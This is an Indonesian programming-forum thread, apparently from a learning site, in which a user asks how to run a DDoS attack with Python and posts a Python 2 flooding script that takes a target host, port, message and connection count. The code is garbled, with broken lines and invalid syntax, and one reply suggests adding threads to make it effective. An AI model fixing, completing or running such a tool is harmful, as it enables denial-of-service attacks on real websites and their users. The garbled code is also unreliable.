Bagaimana DDos pake Phython???

Oleh alimyuparham 163 2 pada Minggu, 15 April 2018, 18:46:36


Kembali ke forum soal ini

#python #pengenalan-python #praktek-tagihan-kredit


Petunjuk Diskusi
Silahkan masuk untuk berdiskusi



import time
import socket
import os
import sys
import string
 
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~#
 
def restart_program():
    python = sys.executable
    os.execl(python, python, * sys.argv)
curdir = os.getcwd()
 
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~#
 
print ("DDoS mode loaded")
host=raw_input( "Site you want to DDoS:" )
port=input( "Port you want to attack:" )
message=raw_input( "Input the message you want to send:" )
conn=input( "How many connections you want to make:" )
ip = socket.gethostbyname( host )
print ("[" + ip + "]")
print ( "[
    #pid = os.forkIp is locked]" )
print ( "[Attacking " + host + "]" )
print ("+----------------------------+")
def dos():()
    ddos = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:ssage, (ip, port) )
        ddos.send( message );
    except socket.error, m
        ddos.connect((host, 80))
        ddos.send( message )
        ddos.sendto( mesg:
        print("|[Connection Failed]         |")
    print ( "|[DDoS Attack Engaged]       |")
    ddos.close()
for i in range(1, conn):
    dos()
print ("+----------------------------+")
print("The connections you requested had finished")
if __name__ == "__main__":
    answer = raw_input("Do you want to ddos more?")
    if answer.strip() in "y Y yes Yes YES".split():
        restart_program()
    else:
        os.system(curdir+"Deqmain.py")




apanya yang salah??
0 jempol




ZihxS
300
816
· 5 tahun, 11 bulan yang lalu · 0 jempol

Kalo boleh tau rincian errornya seperti apa??

LiusPRo1d
0
0
· 2 tahun, 9 bulan yang lalu · 0 jempol

pake thread ya karena jika menggunakan module itu saja tidak berguna